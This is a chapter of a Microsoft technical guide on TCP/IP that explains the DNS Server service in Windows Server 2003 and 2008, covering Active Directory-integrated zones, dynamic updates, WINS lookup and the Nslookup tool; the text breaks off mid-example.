An Internet standards-compliant DNS server
DNS is an open protocol and is standardized by a set of Internet Engineering Task Force (IETF)
RFCs. The DNS Server service in Windows Server 2003 supports and complies with these
standard specifications.
Interoperability with other DNS server implementations
Because the DNS Server service is RFC-compliant and uses standard DNS data file and resource
record formats, it can successfully work with most other DNS server implementations, such as
those that use the Berkeley Internet Name Domain (BIND) software.
Support for Active Directory
DNS is required to support Active Directory. If you make a server an Active Directory domain
controller, you can automatically install and configure the DNS Server service on that server.
Enhancements to DNS zone storage in Active Directory
DNS zones can be stored in the domain or application directory partitions of Active Directory. A
partition is a data structure stored in Active Directory that is used for different replication purposes.
You can specify in which Active Directory partition to store the zone and, consequently, the set of
domain controllers among which the zone's data is replicated.
Conditional forwarding
The DNS Server service extends standard forwarder support with additional capability as a
conditional forwarder. A conditional forwarder is a DNS server that forwards DNS queries according
to the DNS domain name in the query. For example, you can configure a DNS server to forward all
the queries it receives for names ending with wcoast.example.com to one or multiple DNS servers.
Stub zones
DNS supports a new zone type called a stub zone, which is a copy of a zone that contains only the
resource records required to identify the authoritative DNS servers for that zone. A DNS server that
hosts a parent zone and a stub zone for one of the parent zone's delegated child zones can receive
updates from the authoritative DNS servers for the child zone.
Integration with other Microsoft networking services
The DNS Server service offers integration with other services and contains features beyond those
specified in the DNS RFCs. These include integration with Active Directory, WINS, and DHCP.
Improved ease of administration
The DNS snap-in offers a graphical user interface for managing the DNS Server service. Also, you
can use several configuration wizards to perform common tasks for administering servers.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 251
You can also use the Dnscmd command-line tool to perform most of the tasks that you can perform
from the DNS snap-in. You can also use Dnscmd to write scripts and administer remote DNS
servers.
RFC-compliant support for the DNS dynamic update protocol
The DNS Server service allows clients to dynamically update address and pointer resource records,
based on the DNS dynamic update protocol that RFC 2136 defines. DNS dynamic update
eliminates the administration associated with manually managing DNS address and pointer
records. Computers running Windows can dynamically register their DNS names and IP addresses.
Support for secure dynamic updates in zones that are integrated with Active Directory
You can configure zones that are integrated with Active Directory for secure dynamic update. With
secure dynamic update, only authorized computers can make changes to a resource record.
Support for incremental zone transfer between servers
DNS servers use zone transfers to replicate information about a portion of the DNS namespace.
The DNS Server service uses incremental zone transfers to replicate only the changed portions of a
zone, conserving network bandwidth.
Support for new resource record types
The DNS Server service includes support for several new resource record (RR) types, such as
service location (SRV) and Asynchronous Transfer Mode address (ATMA) resource records. These
types expand the use of DNS as a name database service.
Support for aging and scavenging of records
The DNS service is capable of aging and scavenging records. When enabled, this feature can
remove stale records from DNS.
The DNS Server service in Windows Server 2008 supports the following additional features:
Background zone loading
Enhancements to support IPv6
Support for read-only domain controllers (RODCs)
The ability to host global single-label names
For more information, see DNS Enhancements in Windows Server 2008.
Installing the DNS Server Service
You can install the DNS Server service in Windows Server 2003 in the following ways:
As a Windows component using the Add or Remove Programs item of Control Panel (Windows Server
2003).
Using the Active Directory Installation Wizard (Dcpromo.exe).
Using the Manage Your Server Wizard (Windows Server 2003).
Using the Server Manager snap-in (Windows Server 2008)
To install the DNS Server service with Server Manager in Windows Server 2008, do the following:
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 252
1. Click Start, point to Programs, point to Administrative Tools, and then click Server Manager.
2. In the console tree, right-click Roles, click Add Roles, and then click Next.
3. On the Select Server Roles page, select the DNS Server check box, and then click Next.
4. Follow the pages of the Add Roles wizard to perform an initial configuration of the DNS Server
service.
To install the DNS Server service with Add or Remove Programs in Windows Server 2003, do the
following:
1. Click Start, click Control Panel, double-click Add or Remove Programs, and then click
Add/Remove Windows Components.
2. In Components, select the Networking Services check box, and then click Details.
3. In Subcomponents of Networking Services, select the Domain Name System (DNS) check box,
click OK, and then click Next.
4. If prompted, in Copy files from, type the full path to the distribution files for Windows Server 2003,
and then click OK.
To install the DNS Server service, you must be logged on as a member of the Administrators group on
the local computer, or you must have been delegated the appropriate authority. If the computer is joined
to a domain, members of the Domain Admins group might be able to perform this procedure.
After you install the DNS Server service, you can decide how to configure it and its zones. Local text
files contain information about zones and the boot process for the DNS Server service, and you can
use a text editor to update that information. However, this method is not described in this chapter. The
DNS snap-in and the Dnscmd command-line tool simplify maintenance of the DNS Server service, and
you should use them whenever possible. After you begin to use snap-in-based or command-line
management of the DNS Server service, manually editing the text files is not recommended.
DNS and Active Directory
DNS and Active Directory are integrated to provide a location service for Active Directory operations
and to store DNS zones in Active Directory, taking advantage of Active Directory security and
replication.
A directory is a hierarchical structure that stores information about objects on the network. A directory
service, such as Active Directory, provides the methods for storing directory data and making this data
available to network users and administrators. For example, Active Directory stores information about
user accounts such as names, locations, phone numbers, and so on, and Active Directory enables
authorized users on the same network to access this information.
Active Directory Location Service
Active Directory requires the use of DNS to store various types of DNS resource records so that Active
Directory clients and domain controllers can locate one another and perform various types of domain
operations.
For example, an Active Directory client that starts up uses DNS queries to locate the nearest Active
Directory domain controller in its site to perform logon and authentication functions. To facilitate this
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 253
location service for Active Directory clients, the following records must exist in the DNS servers that the
Active Directory clients use:
the _ldap._tcp.dc._msdcs.DNSDomainName service (SRV) resource record
the address (A) resource records for the DNS names of the domain controllers specified in the data
field of the _ldap._tcp.dc._msdcs.DNSDomainName SRV resource records
These records are automatically added when you install a DNS server using the Active Directory
Installation Wizard.
Storage of Zones Integrated with Active Directory
After you have installed Active Directory, you have two options for storing and replicating your zones
when the DNS Server service is running on a domain controller:
Standard zone storage, using a text-based file.
Zones are located in .Dns files that are stored in the systemroot\System32\Dns folder. Zone file
names correspond to the zone root name. For example, the wcoast.example.com. domain uses the
wcoast.example.com.dns file.
Directory-integrated zone storage, using the Active Directory database.
Zones are located in the Active Directory tree under the domain or application directory partition.
Each directory-integrated zone is stored in a dnsZone container object that corresponds to the zone
root name.
For networks deploying DNS to support Active Directory, directory-integrated primary zones are
strongly recommended and provide the following benefits:
Zones have multimaster update and enhanced security based on the capabilities of Active Directory.
In a standard zone storage model, DNS updates are conducted based on a single-master update
model. In this model, a single authoritative DNS server for a zone is designated as the primary
server for the zone, and that server maintains the master copy of the zone in a local file. With this
model, the primary server for the zone represents a single fixed point of failure. If this server is not
available, update requests from DNS clients are not processed for the zone.
With directory-integrated storage, updates to DNS are conducted based on a multimaster update
model. In this model, any authoritative DNS server, such as a domain controller running a DNS
server, is designated as a primary source for the zone. Because the master copy of the zone is
maintained in the Active Directory database, which is fully replicated to all domain controllers, the
DNS servers operating on any domain controller for the domain can update the zone.
Zones are replicated and synchronized to new domain controllers automatically whenever a zone is
added to an Active Directory domain.
Although you can selectively remove the DNS Server service from a domain controller, directory-
integrated zones are already stored at each domain controller, so zone storage and management is
not an additional resource. Also, the methods used to synchronize directory-stored information offer
performance improvement over standard zone update methods, which can potentially require
transfer of the entire zone.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 254
By integrating storage of your DNS zone databases in Active Directory, you can streamline database
replication planning for your network.
When your DNS namespace and Active Directory domains are stored and replicated separately,
you need to plan and potentially administer each separately. For example, when using standard
DNS zone storage and Active Directory together, you would need to design, implement, test, and
maintain two different database replication topologies. You need one replication topology for
replicating directory data between domain controllers, and you need another topology for replicating
zone databases between DNS servers. With integrated DNS zone storage in Active Directory, you
must design and maintain only an Active Directory replication.
Directory replication is faster and more efficient than standard DNS replication.
Because Active Directory replication processing is performed on a per-property basis, only relevant
changes are propagated. Therefore, directory-stored zones require less traffic to synchronize
changes across the replication topology.
Only primary zones can be stored in the directory. A DNS server cannot store secondary zones in
Active Directory. It must store them in standard text files. The multimaster replication model of
Active Directory removes the need for secondary zones when all the zones are stored in Active
Directory. When all of the DNS servers in your organization are also domain controllers, all of your
DNS servers are primary servers for all of your zones.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 255
DNS Server Service Configuration
The configuration of the DNS Server service consists of a set of properties for the DNS server and
forward and reverse lookup zone files.
Properties of the DNS Server
To modify the properties of a DNS server, open the DNS snap-in, right-click the name of the server in
the tree, and then click Properties. Figure 9-5 shows an example of the resulting ServerName
Properties dialog box.
Figure 9-5 The properties dialog box for a DNS server
From this dialog box, you can configure properties on the following tabs:
Interfaces You can specify the IPv4 or IPv6 addresses on which the DNS Server service is listening
for incoming DNS messages. You can specify all the IPv4 or IPv6 addresses assigned to the DNS
server, or you can specify individual addresses (and, therefore interfaces) on which you want to receive
DNS traffic as a DNS server.
Forwarders You can specify the forwarding behavior of this DNS server including the ability to forward
based on a specific domain name (conditional forwarding), the list of IP addresses to which the server
should forward DNS traffic, timeout behavior, and whether to use recursive queries for each domain.
Advanced You can enable various options (such as round robin and subnet prioritization), the data
format for checking names, the location of zone data (Active Directory or local files), and scavenging
settings.
Root Hints You can configure the set of root domain servers that this DNS server uses during iterative
queries. Changes that you make on the Root Hints tab are updated in the Cache.dns file, which is
stored in the systemroot\System32\Dns folder. Using the Root Hints tab is the recommended method
of maintaining the list of root domain servers, rather than using a text editor to modify the Cache.dns
file.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 256
Debug Logging You can enable and configure various options for the DNS debug log file, which you
can use when troubleshooting DNS issues. The DNS debug log file is stored in
systemroot\System32\Dns\Dns.log. By default, debug logging is disabled.
Event Logging You can specify the level of logging for information stored in the DNS event log, which
you can view with the Event Viewer snap-in. By default, logging is enabled for all events.
Monitoring You can perform simple diagnostic functions to ensure the correct configuration and
operation of the DNS server, such as performing recursive and iterative queries and electing to run
them as needed or at a specified interval.
Security You can specify access control lists (ACLs) for DNS server administration. For more
information about ACLs, see Help and Support for Windows Server 2008 or Windows Server 2003.
Maintaining Zones
You can use the DNS snap-in to administer two main types of zones:
Forward lookup zones
Reverse lookup zones
Forward Lookup Zones
To create a forward lookup zone by using the DNS snap-in, open the snap-in, right-click the Forward
Lookup Zones node in the tree, and click New Zone. The New Zone Wizard launches and guides you
through creating a forward lookup zone. In the New Zone Wizard, you must specify the following:
Whether to create a primary, secondary, or stub zone
Whether to store the zone in Active Directory
For Active Directory storage, whether to replicate the zone to all DNS servers in the forest, to all DNS
servers in the domain, or to all domain controllers in the domain
What the FQDN of the zone should be
Whether to allow dynamic updates, to require secure dynamic updates, or both
For secondary and stub zones, from which master name servers (as specified by IPv4 or IPv6 address)
the DNS Server service obtains the zone data
To modify the properties of a forward lookup zone, open the DNS snap-in, right-click the zone under the
Forward Lookup Zones folder in the tree, and click Properties. Figure 9-6 shows an example of the
resulting ForwardZoneName Properties dialog box.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 257
Figure 9-6 The properties dialog box for a forward lookup zone
From this dialog box, you can configure properties on the following tabs:
General You can specify the zone's state (running or paused), the type of zone (primary, secondary, or
stub), its replication scope, and behaviors for dynamic update and aging/scavenging.
Start of Authority (SOA) You can view or specify all of the parameters of the SOA resource record for
the zone.
Name Servers You can view and change all of the Name Server (NS) resource records for the zone.
WINS You can specify the WINS lookup behavior. For more information, see "DNS and WINS
Integration" in this chapter.
Zone Transfers You can specify the zone transfer behavior for the zone (whether to allow zone
transfers, to which servers, and the notify list).
Security You can specify ACLs for zone administration.
Reverse Lookup Zones
To create a reverse lookup zone in the DNS snap-in, open the snap-in, right-click the Reverse Lookup
Zones node in the tree, and click New Zone. The New Zone Wizard launches and guides you through
creating a reverse lookup zone. In the New Zone Wizard, you must specify the following:
Whether to create a primary, secondary, or stub zone
Whether to store the zone in Active Directory
For Active Directory storage, whether to replicate the zone to all DNS servers in the forest, to all DNS
servers in the domain, or to all domain controllers in the domain
Either the IPv4 address prefix (up to the third octet), the IPv6 address prefix, or the reverse lookup zone
name
Whether to allow dynamic updates, and whether to require secure dynamic updates
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 258
For secondary and stub zones, from which master name servers (as specified by IPv4 or IPv6 address)
the DNS Server service obtains the zone data
To modify the properties of a reverse lookup zone, open the DNS snap-in, right-click the zone under the
Reverse Lookup Zones folder in the tree, and click Properties. Figure 9-6 shows an example of the
resulting ReverseZoneName Properties dialog box.
Figure 9-7 The properties dialog box for a reverse lookup zone
From this dialog box, you can configure properties on the following tabs:
General You can specify the zone's state (running or paused), the type of zone (primary, secondary, or
stub), its replication scope, and behaviors for dynamic update and aging/scavenging.
Start of Authority (SOA) You can view or specify all of the parameters of the SOA resource record for
the zone.
Name Servers You can view and change all of the Name Server (NS) resource records for the zone.
WINS-R You can specify the WINS reverse lookup behavior. For more information, see "DNS and
WINS Integration" in this chapter.
Zone Transfers You can specify the zone transfer behavior for the zone (whether to allow zone
transfers, to which servers, and the notify list).
Security You can specify ACLs for zone administration.
Delegation
To perform a delegation, open the DNS snap-in, right-click the parent zone in the tree, and then click
New Delegation. The New Delegation Wizard launches and guides you through creating delegation
and glue records for a subdomain of an existing domain. In the New Delegation Wizard, you must
specify:
The name of the domain to delegate.
The FQDN and IPv4 or IPv6 addresses of the DNS servers to which the domain is being delegated.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 259
To complete the delegation, you create the delegated domain zones on the servers specified in the
New Delegation Wizard.
Zone Transfers
You can configure zone transfers from the Zone Transfers tab in the properties dialog box for the
zone. Figure 9-8 shows an example of the Zone Transfers tab for a forward lookup zone.
Figure 9-8 The Zone Transfers tab for a forward lookup zone
From the Zone Transfers tab, you can configure the following:
Whether zone transfers for the zone are allowed.
The servers to which zone transfers are allowed. You can specify any server, only the servers listed on
the Name Servers tab, or specific servers listed by IPv4 or IPv6 address.
The notify list (click Notify), from which you can specify the servers on the Name Servers tab or
specific servers listed by IPv4 address.
Resource Records
The DNS Server service stores resource records in their respective containers in a zone. You might
manually configure the following typical resource records:
IPv4 address records
IPv6 address records
Pointer records
IPv4 Address Records
To manually add an IPv4 address record (also known as an Address [A] record), open the DNS snap-
in, right-click the appropriate forward lookup zone in the tree, and then click New Host (A or AAAA) or
New Host (A). In the New Host dialog box, type the host portion of the domain name and its IPv4
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 260
address. You can also automatically create the associated PTR record, allow an unauthenticated
update to the record, and specify the Time-to-Live (TTL) for the A and PTR records.
Computers running Windows automatically add their IPv4 host address resource records using dynamic
update. For more information, see "Dynamic Update and Secure Dynamic Update" in this chapter.
IPv6 Address Records
To manually add an IPv6 address record (also known as a AAAA record) in Windows Server 2008,
open the DNS snap-in, right-click the appropriate forward lookup zone in the tree, and then click New
Host (A or AAAA). For Windows Server 2003, click Other New Records. In the Resource Record
Type dialog box, click IPv6 Host (AAAA), and then click Create Record. In the New Host dialog box,
type the host portion of the domain name and its IPv6 address. You can also automatically delete the
record if it becomes stale and specify its TTL.
A computer running Windows with the IPv6 protocol automatically adds AAAA resource records for site-
local and global IPv6 addresses using dynamic update. For more information, see "Dynamic Update
and Secure Dynamic Update" in this chapter. The IPv6 protocol does not register link-local addresses
or global addresses with temporary interface identifiers using dynamic update.
Pointer Records
To manually add a Pointer (PTR) resource record for an IP address, open the DNS snap-in, right-click
the appropriate reverse lookup zone in the tree, and then click New Pointer (PTR). In the New
Resource Record dialog box, type the host IP address (in reverse order, if needed) and the host's
FQDN. You can also automatically delete the record if it becomes stale, allow an unauthenticated
update to the record, and specify its TTL.
Computers running Windows automatically add their PTR records using dynamic update. For more
information, see "Dynamic Update and Secure Dynamic Update" in this chapter.
DNS Traffic Over IPv6
By default, the DNS Server service in Windows Server 2008 listens for DNS traffic sent over IPv6. By
default, the DNS Server service in Windows Server 2003 does not listen for DNS traffic sent over IPv6.
You can configure DNS servers running Windows Server 2003 and DNS clients running Windows Vista
or Windows Server 2008 to use DNS traffic over IPv6 through either locally configured or well-known
unicast addresses of DNS servers.
Using Locally Configured Unicast Addresses
In this method, DNS clients and servers send DNS traffic over IPv6 to a unicast address locally
assigned to the DNS server, such as a site-local or global address of the DNS server configured
through IPv6 address autoconfiguration. This method requires the following steps:
1. On each DNS server running Windows Server 2003, enable the DNS Server service for DNS traffic
by using the dnscmd /config /EnableIPv6 1 command and then restarting the DNS Server service.
2. Obtain the global or unique local addresses of each DNS server by using the ipconfig command.
3. Configure each Windows Vista or Windows Server 2008 DNS client computer with the unicast IPv6
addresses of your DNS servers using the netsh interface ipv6 add dnsserver
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 261
interface=NameOrIndex address=IPv6Address index=PreferenceLevel command.
Using Well-Known Unicast Addresses
In this method, DNS clients and servers send DNS traffic over IPv6 to a set of well-known unicast
addresses that have been manually configured on the DNS server. Computers running Windows Vista
or Windows Server 2008 automatically attempt to use DNS servers at the well-known unicast
addresses of FEC0:0:0:FFFF::1, FEC0:0:0:FFFF::2, and FEC0:0:0:FFFF::3. This method requires the
following steps:
1. Determine which well-known unicast addresses to assign to which DNS servers.
2. On each DNS server, add one or more of the well-known unicast addresses using the netsh
interface ipv6 add address interface=NameOrIndex address=IPv6Address command.
3. Add host routes for the well-known unicast addresses to your routing infrastructure so that the DNS
servers are reachable from all of your IPv6-based DNS client computers. First, you must add host
routes for the DNS server addresses to the neighboring routers of the DNS servers. If you are using
an IPv6 routing protocol, configure it to propagate host routes to the non-neighboring IPv6 routers. If
you are using static IPv6 routers, add host routes with the appropriate next-hop and metric
information to all the non-neighboring routers.
Dynamic Update and Secure Dynamic Update
DHCP servers assign IPv4 addresses and other configuration settings to DHCP client computers.
These addresses are valid for a specific lease time. If the DHCP client computer cannot renew the
current lease or moves to another subnet, the DHCP server assigns a new IPv4 address configuration
to the client computer. This variability of IPv4 address configuration for DHCP client computers
complicates DNS administration because you must update A and PTR resource records.
RFC 2136 describes the DNS dynamic update protocol, which keeps DNS current in a DHCP
environment. DNS dynamic update allows DNS client computers to both register and dynamically
update their resource records with a DNS server whenever the client computers’ IP addresses or
names change. This process reduces the need for you to administer zone records manually, especially
for computers that use DHCP.
Windows supports DNS dynamic update for both the DNS clients and servers. For DNS servers, you
can use the DNS Server service to enable dynamic updates on a per-zone basis for either standard
primary zones or zones that are integrated with Active Directory.
DNS clients running Windows register A and PTR resource records for IPv4 addresses and AAAA
records for IPv6 addresses in DNS by default. Additionally, domain controllers and other service-
providing computers register service (SRV) resource records in DNS. Because SRV resource records
provide a way to resolve service names to IP addresses, registering them with DNS allows client
computers running Windows to locate domain controllers and other types of servers.
DNS clients that are running Windows send dynamic updates in the following circumstances:
For statically assigned IP addresses, when the computer is started or an IP address on any of the
computer’s network connections is added, removed, or modified.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 262
For dynamically assigned IP addresses, when an IP address lease on any of the computers’ network
connections changes or is renewed with the DHCP server (for example, when the computer is started
or the ipconfig /renew command is used).
When the Net Logon service is started on domain controllers.
When a member server is promoted to a domain controller.
When the user runs the ipconfig /registerdns command to manually force a refresh of name
registration in DNS.
Periodically after the initial dynamic update (by default, every seven days).
When one of these events triggers a dynamic update, the DHCP Client service on the computer running
Windows sends the update. For IPv4-based addresses, the DHCP Client service sends the updates,
rather than the DNS Client service, because the DHCP Client service provides IP address
configuration, whether static or dynamic, to TCP/IP in Windows and monitors changes in IP address
configuration.
For IPv6-based addresses, the IPv6 protocol component sends the updates when the computer is
started or an IPv6 address on any of the computer’s network connections is added, removed, or
modified.
How Computers Running Windows Update their DNS Names
The specific mechanism and types of records registered by a computer running Windows depends on
whether its IPv4 configuration is static (configured manually) or automatic (configured using DHCP):
By default, computers running Windows that are manually configured with static IPv4 addresses
attempt to dynamically register A and PTR resource records for all configured DNS names.
By default, computers running Windows that are automatically configured with IPv4 addresses allocated
by a DHCP server attempt to dynamically register A resource records. The DHCP server attempts to
dynamically register the PTR resource records on the DHCP client's behalf. This behavior is controlled
by:
The inclusion of the Client FQDN DHCP option (option 81) in the DHCPRequest message sent by
the DHCP client.
In the DHCP snap-in, the settings on the DNS tab (see Figure 9-9) for the properties of a DHCP
server or the properties of a DHCP scope.
For DHCP clients that do not send the Client FQDN option, the DHCP server does not automatically
register the A or PTR resource records on the DHCP client's behalf. To enable this support, you can
select the Dynamically update DNS A and PTR records for DHCP clients that do not request
updates check box on the DNS tab.
Figure 9-9 shows the DNS tab in the properties dialog box of a DHCP server.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 263
Figure 9-9 The DNS tab on the properties of a DHCP server
DNS Dynamic Update Process
A DNS client computer running Windows uses the following process to perform a DNS dynamic update:
1. The client queries its configured DNS server to find the Start of Authority (SOA) resource record for
the DNS zone of the DNS name that is being updated.
2. The DNS client's configured DNS server performs the standard name resolution process and sends
the SOA record, which contains the IP address of the primary name server for the queried DNS zone.
3. The client sends a dynamic update request to the primary name server for the zone of the DNS name
that is being updated.
This request might include a list of prerequisites that must be fulfilled before the update can be
completed. Types of prerequisites include the following:
The resource record set exists.
The resource record set does not exist.
The name is in use.
The name is not in use.
4. The primary name server determines whether the prerequisites have been fulfilled. If they have, the
primary DNS server performs the requested update. If they have not, the update fails. In either case,
the primary DNS server replies to the client, indicating whether the update succeeded.
If the DNS dynamic update is not successful, the DNS client records the event in the system event log.
Configuring DNS Dynamic Update
You configure DNS dynamic update behavior on DNS client computers running Windows, DNS servers
running Windows Server 2008 or Windows Server 2003, and DHCP servers running Windows Server
2008 or Windows Server 2003.
To configure DNS dynamic update on a DNS client computer running Windows, do the following:
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 264
1. Click Start, point to Settings, and then click Network Connections.
2. Right-click the network connection that you want to configure, and then click Properties.
3. On the General tab (for a local area connection) or the Networking tab (for any other connection),
click Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP), and then click
Properties.
4. Click Advanced, and then click the DNS tab.
5. Do one or more of the following:
To use DNS dynamic update to register the IP addresses for this connection and the full computer
name of the computer, select the Register this connection's addresses in DNS check box. This
check box is selected by default.
To configure a DNS suffix for the specific connection, type the DNS suffix in DNS suffix for this
connection.
To use DNS dynamic update to register the IP addresses and the domain name that is specific for
this connection, select the Use this connection's DNS suffix in DNS registration check box. This
check box is not selected by default.
To enable DNS dynamic update on a DNS server that is running Windows Server 2008 or Windows
Server 2003, do the following:
1. In the console tree of the DNS snap-in, click the appropriate zone in the Forward Lookup Zones or
Reverse Lookup Zones node.
2. On the Action menu, click Properties.
3. On the General tab, verify that the zone type is either Primary or Active Directory-integrated.
4. If the zone type is Primary, in the Dynamic Updates list, click either Nonsecure and secure or
Secure only.
To configure DNS dynamic update for a DHCP server that is running Windows Server 2008 or Windows
Server 2003, do the following:
1. In the console tree of the DHCP snap-in, click the appropriate DHCP server or a scope on the
appropriate DHCP server.
2. Right click the IPv4 node, the server, or the scope, and then click Properties.
3. Click the DNS tab.
4. Do one of the following:
To enable DNS dynamic update for DHCP clients that support it, select the Enable DNS dynamic
updates according to the settings below check box and either the Dynamically update DNS A
and PTR only if requested by the DNS clients check box (selected by default) or the Always
dynamically update DNS A and PTR records check box.
To enable DNS dynamic update for DHCP clients that do not support it, select the Dynamically
update DNS A And PTR records for DHCP clients that do not request updates check box. This
check box is cleared by default.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 265
Secure Dynamic Update
Secure DNS dynamic update is available only for zones that are integrated into Active Directory. After
you integrate a zone, you can add or remove users or groups from the ACL for a specified zone or
resource record using the DNS snap-in.
After a zone becomes integrated with Active Directory, DNS servers running Windows Server 2008 or
Windows Server 2003 allow only secure dynamic updates by default. When configured for standard
zone storage, the DNS Server service by default blocks dynamic updates on its zones. For zones that
are either integrated with Active Directory or that use standard file-based storage, you can change the
zone to allow both secure and unsecured dynamic updates.
DNS clients attempt to use unsecured dynamic update first. If an unsecured update is refused, DNS
clients try to use secure dynamic update.
DNS and WINS Integration
If DNS and Windows Internet Name Service (WINS) are integrated, the DNS Server service can look up
DNS names in WINS if the service cannot be resolve the names by querying DNS servers. To perform
WINS lookup, the DNS Server service uses two specific resource record types that can be enabled for
any zone:
The WINS resource record, which you enable to integrate WINS lookup into forward lookup zones
The WINS resource record is specific to DNS servers that are running Windows and that you can
attach only to the root domain of a forward lookup zone by placing the record in the root zone file.
The presence of a WINS record instructs the DNS Server service to use WINS to look up any
requests for hosts in the zone root that do not have an A resource record. This functionality is
particularly useful for DNS clients that are not running Windows and that need to resolve the names
of NetBIOS and DHCP-enabled hosts that do not perform DNS dynamic update, such as computers
running older versions of Windows.
The WINS-R resource record, which you enable to perform IPv4 address-to-NetBIOS name lookups for
reverse lookup zones
The WINS-R resource record is also specific to DNS servers that are running Windows and that
you can attach only to the root domain of a reverse lookup zone by placing the record in the root
zone file. The presence of a WINS-R record instructs the DNS Server service to use WINS to look
up any requests for hosts that are in the zone root but that do not have an A resource record.
How WINS Lookup Works
When a DNS client sends a recursive or iterative query to a DNS server that is authoritative for the
domain portion of an FQDN, the DNS server first attempts to find a matching A record in its zone files. If
the DNS server does not find a matching A record and is configured for WINS lookup, the server does
the following:
1. The DNS server separates the host part of the FQDN contained in the DNS query and converts the
host part to a 16-byte NetBIOS name. The NetBIOS name consists of the host name, padded with
spaces up to 15 bytes, and 0x00 as the last byte.
2. The DNS server sends a NetBIOS Name Query Request message to the WINS server.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 266
3. If the WINS server can resolve the constructed NetBIOS name, it returns the IPv4 address to the
DNS server using a NetBIOS Name Query Response message.
4. The DNS server constructs an A resource record using the IPv4 address resolved through the WINS
server and sends a DNS Name Query Response message containing the A record to the requesting
DNS resolver.
The DNS Server service performs all of the steps for WINS lookup. The DNS resolver is not aware that
WINS lookup is being used—it sent a DNS Name Query Request message and received a DNS Name
Query Response message. The WINS server is not aware a DNS server is using WINS lookup—it
received a NetBIOS Name Query Request message and replied with a NetBIOS Name Query
Response message.
When you enable WINS lookup on a DNS zone, it is performed for only those names in the zone root
domain. For example, if a zone file contained names for the example.com domain and the
dev.example.com subdomain and WINS lookup was configured for that zone, then WINS lookup could
be performed on the name newssrv1.example.com but not for the name newssrv1.dev.example.com.
You can configure WINS lookup from the WINS tab for the properties of a forward lookup zone. To
enable WINS lookup, select the Use WINS forward lookup check box, and type the IPv4 addresses of
your WINS servers.
The TTL for a DNS name that is resolved through WINS lookup is not the default timeout value from the
SOA record for the zone. You configure the TTL for a name resolved through WINS lookup on the
WINS tab for the properties of a forward lookup zone.
WINS Reverse Lookup
Although WINS was not constructed to provide reverse lookup capabilities, this functionality can be
accomplished using a special NetBIOS message. The presence of a WINS-R record at the zone root
instructs the DNS Server service to send a NetBIOS Adapter Status message for any reverse lookup
requests for IPv4 addresses in the zone root domain for which PTR records were not found. The
response to the NetBIOS Adapter Status message contains the NetBIOS computer name of the queried
host.
You can configure WINS lookup on the WINS-R tab for the properties of a reverse lookup zone. Select
the Use WINS-R lookup check box, and type the domain name to be appended to the computer name
when the DNS Server service returns the response to the DNS resolver.
If a reverse query for a host name based on an IPv4 address is sent to a DNS server running Windows
Server 2008 or Windows Server 2003 for a zone in which WINS reverse lookup is enabled, the server
will first attempt to perform a reverse resolution using the local reverse lookup zone files. If the DNS
server does not find a PTR record, it sends a NetBIOS Adapter Status message to the IPv4 address in
the reverse query. The response to the NetBIOS Adapter Status message includes the NetBIOS name
table of the responder, from which the DNS server determines the computer name. The DNS Server
service appends the domain name configured on the WINS-R tab to the computer name and returns
the result to the requesting client.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 267
Using the Nslookup Tool
The Nslookup diagnostic tool allows you to interact with a DNS server using either individual command-
line queries or interactively as a name resolver or as another DNS server. The Nslookup tool is the
primary troubleshooting tool for DNS. You can use Nslookup to display any resource record on any
DNS server, including DNS servers that are not running Windows.
Nslookup Modes
Nslookup has two modes: interactive and noninteractive. If you need a single resource record, use non-
interactive or command-line mode. If you need more than one resource record, you can use interactive
mode, in which you issue successive commands from an Nslookup prompt. For interactive mode:
To interrupt interactive commands at any time, press CTRL+C.
To exit, use the exit command.
The command line must be less than 256 characters long.
To treat a built-in command as a computer name, precede it with the "\" character.
An unrecognized command is interpreted as a computer name.
Nslookup Syntax
Nslookup has the following syntax:
nslookup [-Options] [ComputerToFind | - [Server]]
The Nslookup command line can include the following parameters:
-Options Specifies one or more Nslookup commands as a command-line option. For a list of
commands, use the help option inside Nslookup. Each option consists of a hyphen (-) followed
immediately by the command name; in some cases, an equal sign (=); and then a value.
ComputerToFind Look up information for ComputerToFind using the current default server or using
Server if specified. If ComputerToFind is an IP address and the query type is A or PTR, the name of the
computer is returned. If ComputerToFind is a name and does not have a trailing period, the default
DNS domain name is appended to the name.
If you type a hyphen (-) instead of ComputerToFind, the command prompt changes to Nslookup
interactive mode with the ">" character as the command prompt.
Server Use this server as the DNS name server. If the server is omitted, Nslookup uses the currently
configured default DNS server.
Examples of Nslookup Usage
The following are usage examples for the Nslookup tool.
Example 1: Nslookup in Interactive Mode
The following is a usage example for Nslookup in interactive mode with the default DNS server:
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 268
C:\USERS\DEFAULT>nslookup
Default Server: dnssrv1
Address: 157.54.9.193
>
Nslookup performs a reverse query on the IPv4 address of the default DNS server and displays its
name (dnssrv1 above). If the query fails, Nslookup displays the error message "*** Default servers are
not available" and shows the default server as "Unknown." From the ">" prompt, you can enter names
to be queried, IP addresses to be reverse queried, or commands to modify the behavior of Nslookup.
To exit the Nslookup command prompt, use the exit command.
Example 2: Nslookup and Forward Queries
The following is an example of how to use Nslookup to obtain the IP address of a host name using the
default DNS server:
C:\USERS\DEFAULT>nslookup filesrv17
server = dnssrv1
Address: 157.54.9.193
